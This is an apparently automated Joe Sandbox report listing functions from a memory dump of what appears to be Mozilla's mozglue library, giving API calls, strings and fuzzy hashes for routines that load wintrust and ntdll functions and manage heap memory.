Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 74ef83f258245a33512f7b722eed75b027a58003148a8fd0956627a57f282dca
Instruction ID: 27c176a79b1651256ee82a61ca1cda8970569f955adadc4e1acffd611871252a
Opcode Fuzzy Hash: 74ef83f258245a33512f7b722eed75b027a58003148a8fd0956627a57f282dca
Instruction Fuzzy Hash: A9E0467030D3099BEF009F25DA0A7223AFCA707228FF44469AB0B81B00DBB5D074CB50

Function 6C9101C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E7266), ref: 6C9101C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6C9101E7
FreeLibrary.KERNEL32(?,6C8E7266), ref: 6C9101FE

Strings

CryptCATAdminReleaseContext, xrefs: 6C9101E1
wintrust.dll, xrefs: 6C9101C3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 4d2f39adf8b340abd46cea1f901d66accba38d346e6536d5fb8cf79258774385
Instruction ID: 907998a3bbe5784c7c76b9c21dcacdf2f526329388050ac0ad2cdbb2e6fb4482
Opcode Fuzzy Hash: 4d2f39adf8b340abd46cea1f901d66accba38d346e6536d5fb8cf79258774385
Instruction Fuzzy Hash: F8E09A7478C3859BEF00AF6598097127AF8AB07369FB04455EB06D2A40DB75D0289F50

Function 6C910120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E7297), ref: 6C910128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6C910147
FreeLibrary.KERNEL32(?,6C8E7297), ref: 6C91015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6C910141
wintrust.dll, xrefs: 6C910123

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 57cf02f2f16735a21fbc7c510b29bd0769b94d6adfe5fdd30ac4587a635bd047
Instruction ID: 8a8f758f486b1720bce098b96975bf38c461a32b62d85071ad851ec90f472b3a
Opcode Fuzzy Hash: 57cf02f2f16735a21fbc7c510b29bd0769b94d6adfe5fdd30ac4587a635bd047
Instruction Fuzzy Hash: EDE01A7070C3489BEF006F29E8087023AF8E707338FB44455AA06D2B00D775D0248F50

Function 6C910170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E7308), ref: 6C910178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6C910197
FreeLibrary.KERNEL32(?,6C8E7308), ref: 6C9101AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6C910191
wintrust.dll, xrefs: 6C910173

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: e66ac39f7f531f62aa8978ce5658881fe527b29fa96cfeb86ba32690ab603953
Instruction ID: c68ad12666d13f667429b62e05d233d892c18b187a9d5b4a48d7bf36da82bae2
Opcode Fuzzy Hash: e66ac39f7f531f62aa8978ce5658881fe527b29fa96cfeb86ba32690ab603953
Instruction Fuzzy Hash: 84E01A7078D2459BEF405F25C909B023BF8B747269FB40496EA8685B40D775C0648A50

Function 6C93C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C93C0E9), ref: 6C93C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C93C437
FreeLibrary.KERNEL32(?,6C93C0E9), ref: 6C93C44C

Strings

ntdll.dll, xrefs: 6C93C413
NtQueryVirtualMemory, xrefs: 6C93C431

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: fe59af43164f82b8443b571ccc36634dacae7a1540c6ab262c68562a45824649
Instruction ID: d8a4a339ca3323f5c6afdf3cfc135bcb2cc8f749eed501ac05a39e99db2437ec
Opcode Fuzzy Hash: fe59af43164f82b8443b571ccc36634dacae7a1540c6ab262c68562a45824649
Instruction Fuzzy Hash: 21E0B67070A3119BDF00BF71D918B157BF8B74632CFA89256EB0A92740EBB2D0188B90

Function 6C9375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C93748B,?), ref: 6C9375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9375D7
FreeLibrary.KERNEL32(?,6C93748B,?), ref: 6C9375EC

Strings

ntdll.dll, xrefs: 6C9375B3
RtlNtStatusToDosError, xrefs: 6C9375D1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 487a326d427588c4061ab5601dae5d35e4b50de7bcff8a7a6178b1c7b5b9411d
Instruction ID: bd1a613857d3a322a74eec2f424f3e5d2848d7793284eb0375c3fec680742ec5
Opcode Fuzzy Hash: 487a326d427588c4061ab5601dae5d35e4b50de7bcff8a7a6178b1c7b5b9411d
Instruction Fuzzy Hash: E0E0B671708301EFEF00AFA2D9487027AF8EB4662CFB45425E905D1680EBB0D259CF50

Function 6C937600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C937592), ref: 6C937608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C937627
FreeLibrary.KERNEL32(?,6C937592), ref: 6C93763C

Strings

ntdll.dll, xrefs: 6C937603
NtUnmapViewOfSection, xrefs: 6C937621

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: f2ba6de2b8edf18b292c3a2aae6fc509d866ebf66d4894ecbe4864bfe40ff03b
Instruction ID: f167f4bc1dc7fe32cf9f85f99b438ab9cec4db27e7e23ba0f91f0928ae361b07
Opcode Fuzzy Hash: f2ba6de2b8edf18b292c3a2aae6fc509d866ebf66d4894ecbe4864bfe40ff03b
Instruction Fuzzy Hash: EBE0B6B0709301AFDF00AFA6E9187067EB8F75A76DFB45515E909D2740E7B0D0188F55

Function 6C93C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C93C1DE,?,00000000,?,00000000,?,6C8E779F), ref: 6C93C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6C93C217
FreeLibrary.KERNEL32(?,6C93C1DE,?,00000000,?,00000000,?,6C8E779F), ref: 6C93C22C

Strings

WinVerifyTrust, xrefs: 6C93C211
wintrust.dll, xrefs: 6C93C1F3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 33af3b4996e837f7d838dda4436e66f955ef3eb73233e723b1a6a8af95be98d1
Instruction ID: c46421ebadf46d0bd19dc85a14adb24f8514d3ac6d4e1e0c07c7397ecc2fb017
Opcode Fuzzy Hash: 33af3b4996e837f7d838dda4436e66f955ef3eb73233e723b1a6a8af95be98d1
Instruction Fuzzy Hash: EDE092743093919BEB007F6199087027EF8AB46228FE40665AA0AD2A01E7B0D0148B94

Function 6C93C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E77C5), ref: 6C93C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6C93C2B7
FreeLibrary.KERNEL32(?,6C8E77C5), ref: 6C93C2CC

Strings

CryptCATAdminCalcHashFromFileHandle, xrefs: 6C93C2B1
wintrust.dll, xrefs: 6C93C293

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 826faff758c95ff7492f83cc77e5591265a05addf843c16aa0c502dadd1c673c
Instruction ID: dcc1cded1174e3b3c14a69c947351d07cff7c717ef96f616d2237843922a3709
Opcode Fuzzy Hash: 826faff758c95ff7492f83cc77e5591265a05addf843c16aa0c502dadd1c673c
Instruction Fuzzy Hash: D0E092743492519FDF00AF6999087027BF8EB06268FE801A5AA4A92A10E7B5D014CA94

Function 6C93BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6C8E05BC), ref: 6C93BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6C93BAD7
FreeLibrary.KERNEL32(?,6C8E05BC), ref: 6C93BAEC

Strings

kernelbase.dll, xrefs: 6C93BAB3
VirtualAlloc2, xrefs: 6C93BAD1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 0c587df6a05609d97cafa37c281ade6164be7ed3073bbeb0ac0d1f263e0f1896
Instruction ID: 701ab99baa26eaf4a1de5a2758fae325587be66e0b32fa6410fd80fca8c2fbb2
Opcode Fuzzy Hash: 0c587df6a05609d97cafa37c281ade6164be7ed3073bbeb0ac0d1f263e0f1896
Instruction Fuzzy Hash: D5E0B670309782ABDF009F62D928B067BF8E70722CFB8005AEB06D1B00EBB4C0188B50

Function 6C93C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E77F6), ref: 6C93C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6C93C267
FreeLibrary.KERNEL32(?,6C8E77F6), ref: 6C93C27C

Strings

CryptCATAdminAcquireContext, xrefs: 6C93C261
wintrust.dll, xrefs: 6C93C243

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 3b12e807609bbc8722da887b38cb470a3c5e2f67695b389509d054414a233165
Instruction ID: 62978e23cf6ee347b82f2cffbbcaa95ae84907365a46c3e82b2a6e675ae5d7a4
Opcode Fuzzy Hash: 3b12e807609bbc8722da887b38cb470a3c5e2f67695b389509d054414a233165
Instruction Fuzzy Hash: 70E092743083119BDF446F6298087027AF8A70B32CFB449A5EA0AE2600E7B0D4549F94

Function 6C93BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C93BE49), ref: 6C93BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C93BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C93BE49), ref: 6C93BF38
RtlReAllocateHeap.NTDLL ref: 6C93BF83
RtlFreeHeap.NTDLL(6C93BE49,00000000), ref: 6C93BFA6

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0d941262c80be389099e7bdfe003df44e0c01f79a2ed1cdf8d34c59362fdf567
Instruction ID: 6b4da293cbef5e23ada407a11afba44a441192424df83f50d4d1fd969ce6401c
Opcode Fuzzy Hash: 0d941262c80be389099e7bdfe003df44e0c01f79a2ed1cdf8d34c59362fdf567
Instruction Fuzzy Hash: A351C371B006218FE710DF69CC80BAAB7B6FF98314F289639D519A7B54D730F9168B80

Function 6C9359C0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C90E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C935A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C90E56A,?,|UrlbarCSSSpan), ref: 6C935A5C
free.MOZGLUE(?), ref: 6C935A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C935B9D

Strings

KpT{/, xrefs: 6C9359D3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$mallocmemset
String ID: KpT{/
API String ID: 2682772760-2391877073
Opcode ID: aba968fdbb7c546c833e2273a546ea0d8b2d09f8dd81eb7096ffbbcf3490aea8
Instruction ID: e7df97a195d957dd8111e6d998118178161864a297bd2fd9846609e10cc0b553
Opcode Fuzzy Hash: aba968fdbb7c546c833e2273a546ea0d8b2d09f8dd81eb7096ffbbcf3490aea8
Instruction Fuzzy Hash: 07515B706087509FD700CF29C8C0A1ABBE9EF8E358F04C96DE88D9B646D774D945DB62

Function 6C928E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C91B58D,?,?,?,?,?,?,?,6C94D734,?,?,?,6C94D734), ref: 6C928E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C91B58D,?,?,?,?,?,?,?,6C94D734,?,?,?,6C94D734), ref: 6C928EBF
free.MOZGLUE(?,?,?,?,6C91B58D,?,?,?,?,?,?,?,6C94D734,?,?,?), ref: 6C928F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C91B58D,?,?,?,?,?,?,?,6C94D734,?,?,?,6C94D734), ref: 6C928F46
free.MOZGLUE(?,?,?,?,6C91B58D,?,?,?,?,?,?,?,6C94D734,?,?,?), ref: 6C928F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C91B58D,?,?,?,?,?,?,?,6C94D734,?,?,?), ref: 6C928F8F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9f77db7314fb1b4a21748d1cc365f672a7d2f2c7819c9ebf16e9b1b93e6c7e65
Instruction ID: 0c54095f9678acd913bfea9e4b7ec6fb6f6f7435f6330d2f8e71a3d6d90c9121
Opcode Fuzzy Hash: 9f77db7314fb1b4a21748d1cc365f672a7d2f2c7819c9ebf16e9b1b93e6c7e65
Instruction Fuzzy Hash: 0C5117B2A102168FEB28CF64D8807AE77B6FF44314F25042AD556AB704E731F915CBD5

Function 6C8E60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C8E5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C8E5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E6180
free.MOZGLUE(?,?,?,?,6C8E5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8E6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C8E5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E6229
free.MOZGLUE(?,?,?,?,6C8E5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8E625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8E5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8E6271

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3e4e981783bd0ecc922ea76173490a7fd3bfc9edbaab448042571f89aafa09af
Instruction ID: a24b0a0d335c1ed3c814aa330fb7a3f4816b5ec03b375ccae9bf58acd8c49d18
Opcode Fuzzy Hash: 3e4e981783bd0ecc922ea76173490a7fd3bfc9edbaab448042571f89aafa09af
Instruction Fuzzy Hash: 4D518CB1A0420A8FEB24CFA8D9C07AEB7B5EF4A308F24083DC616D7711E731A954CB51

Function 6C9227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C922620,?,?,?,6C9160AA,6C915FCB,6C9179A3), ref: 6C92284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C922620,?,?,?,6C9160AA,6C915FCB,6C9179A3), ref: 6C92289A
free.MOZGLUE(?,?,?,6C922620,?,?,?,6C9160AA,6C915FCB,6C9179A3), ref: 6C9228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C922620,?,?,?,6C9160AA,6C915FCB,6C9179A3), ref: 6C922910
free.MOZGLUE(00000001,?,?,6C922620,?,?,?,6C9160AA,6C915FCB,6C9179A3), ref: 6C92293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C922620,?,?,?,6C9160AA,6C915FCB,6C9179A3), ref: 6C92294E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b8a2bd4566caa398cb241d95f2c91942d869a05d3ae0d2e781b49ac79076835b
Instruction ID: fa7a1fa35af54034aa849ac3045ee270b07eca811555bf9bf28310347dead8d7
Opcode Fuzzy Hash: b8a2bd4566caa398cb241d95f2c91942d869a05d3ae0d2e781b49ac79076835b
Instruction Fuzzy Hash: A24121B5A206068FEB14CF68D88437A73FAEF45328F240938D596EB704E735E904CB51

Function 6C8DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8DCFF6
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C8DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C8DD139

Strings

MOZ_CRASH(), xrefs: 6C8DD187

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 7df4942f021d8744990450d8e94ab1b7d8e0905547272d03ba0e126389e6b42a
Instruction ID: 023abcb5f619260ac52d21d21cd4c69bc67725e20fa8632adf256719d9f4e245
Opcode Fuzzy Hash: 7df4942f021d8744990450d8e94ab1b7d8e0905547272d03ba0e126389e6b42a
Instruction Fuzzy Hash: 3141E572B493168FDF14CE7C8D9036A76B0EB49B14F65053AE918E7784D7B6AC008BE1

Function 6C8DCDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

